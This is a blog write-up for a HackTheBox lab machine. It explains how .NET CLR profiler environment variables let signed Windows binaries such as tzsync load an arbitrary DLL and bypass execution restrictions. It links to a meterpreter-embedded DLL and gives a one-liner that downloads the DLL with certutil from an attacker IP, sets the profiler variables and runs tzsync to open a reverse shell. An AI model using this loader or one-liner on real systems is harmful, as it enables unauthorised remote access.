[English] COR PROFILERS - Bypassing Windows security restrictions

First of all, even if I'm writing this post, I just gave some support, the most of the research and the creation of the DLLs are from my mate @V2ludDNy or how most of the people on "HTB Hispano" know: Wint3r

If any data is wrong, do not hesitate to write a comment or inform me!

To put us a little in context, one of the lastest machines in HackTheBox was a pain in the ass. A Windows machine with many restrictions but in general very "educational". The thing was that wint3r was really frustrated and wanted to do it without the intended tools... and we finally succeed.

Some months ago I wrote a post here in HackPlayers about Powershell restrictions (https://www.hackplayers.com/2018/11/powershell-is-dead-not-today-my-friend.html). Well, the way that Invisi-Shell loaded his DLL was really strange for us (https://github.com/OmerYa/Invisi-Shell).

Invisi-Shell's DLL comes with 2 bat files that set some enviroment variables ¿¿COR_PROFILER?? that somehow execute the DLL when the Powershell process is started. This was the start of the journey.


>>>>>>>>THEORY<<<<<<<<

To understand what we're going to show it's necessary to become familiar with some concepts. The first thing we need to know is what are Unmanaged code and Managed code and how they differ.

Unmanaged code
When we execute a binary in native C/C++, we are working with unmanaged code. This kind of code has the peculiarity it's just get loaded in memory by the OS and gets executed. Everything else depends on the guy who coded the program.

What is "everything else"? Things like memory management or security checks. For example, if a buffer overflow exists in X function is your problem my friend.

Managed code
In contrast with unmanaged, we are working with managed code when we program something using the .NET Framework. The basic difference it's just that .NET offers an enviroment in execution time called Common Language Runtime (CLR). The CLR will compile and execute our managed code even taking care of things like managing memory, perform security checks and so on.
More info:
https://docs.microsoft.com/en-us/dotnet/standard/managed-code
https://docs.microsoft.com/en-us/dotnet/standard/clr


Well, among other things, the CLR offers us the opportunity to use something called Profiling

Profiling
In the profiling context, a profiler is kind of a form of dynamic program analysis that measures thinkgs like the space or time complexity of a program. A CLR profiler is in fact a runtime DLL library loaded by the CLR with which it communicates through an API

So when a managed process is started, the CLR will check if any of the profiler env variables are set and if so, load the specified profiler DLL.

  • COR_ENABLE_PROFILING --> 1 to enable the profiler, 0 to disable.
  • COR_PROFILER --> If COR_ENABLE_PROFILING is 1 then CLR check the CLSID/ProgID of the profiler.
  • COR_PROFILER_PATH --> Path to the profiler's DLL.
As a curiosity, in the .bat for users "not admin" of Invisi-Shell, instead of using COR_PROFILER_PATH, a series of entries in the registry HKCU are created. This is not necessary for the latest versions of NET.


More info:
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview
https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/setting-up-a-profiling-environment


>>>>>>>>PRACTICE<<<<<<<<

Now we need to create a DLL with the format required by the CLR (we're not going to explain this now). Wint3r did a good job creating a compatible DLL with a meterpreter embedded.
  • The DLL needs to be in unmanaged code.
  • To load the profiler we need a binary using .NET like the following:
    • powershell.exe
    • tzsync.exe
    • AppVStreamingUX.exe
    • UevTemplateBaselineGenerator.exe
    • UevAgentPolicyGenerator.exe
    • stordiag.exe
    • FileHistory.exe
    • UevAppMonitor.exe
    • Microsoft.Uev.SyncController.exe
    • powershell_ise.exe
    • ... 
  • It's possible to execute managed code using COMs Interop or another DLL. 
  • To make all of this work you need to set every COR related enviroment variable (this don't need any special privileges).
  • In our tests we didn't have any problem with AVs (Windows Defender, Avast or Cylance) but the DLL got uploaded to VirusTotal and shared in the Telegram group "HackTheBox Hispano" so probably now some AVs may detect it as malware.


For the demonstration we will use the DLL in one of the most difficult machines of Hack The Box: Fighter. For those who have not done it yet, the machine consists of discovering a subdomain in which there is a login vulnerable to SQLi.

The fact is that once you get RCE from the MSSQL database, it becomes difficult to get a reverse shell because you do not have the output of the commands you send and you realize that, although you can upload binaries (with Certutil for example), you can not execute them either.

As interesting solutions it was possible to obtain shell by downgrading PowerShell to version 2 or using the x86 binary, as well as the Squiblytwo technique using wmic and xsl files (discovered for many of us by CyberVaca).

But... We're going to use our DLL!

You can download it here: https://github.com/attl4s/pruebas/blob/master/Beryllium.dll

certutil -urlcache -split -f http://10.10.14.30/Beryllium.dll C:\programdata\winter.dll && set "COR_ENABLE_PROFILING=1" && set "COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}" && set "COR_PROFILER_PATH=C:\programdata\winter.dll" && set "IP=10.10.14.30" && set "PORT=443" && tzsync


The oneliner does the following:
  • With certutil, we upload the DLL to C:\ProgramData\
  • We set the profiler env vars.
  • We set IP and PORT to get our reverse meterpreter.
  • Finally, we execute a binary that creates a managed process --> tzsync.

And.. Voila!!

Through this technique we have managed to take advantage of system binaries signed by Microsoft (for example, tzsync) that will rarely be blocked to execute a DLL in its context.

Note that depending on the type of policies that are applied to the execution of DLLs, the more restrictives may block the execution of our DLL. In these cases it will be necessary to check (trial and error) directories within zones such as C:\Windows or the Program Files in order succeed.


@attl4s && @V2ludDNy

Comentarios

Publicar un comentario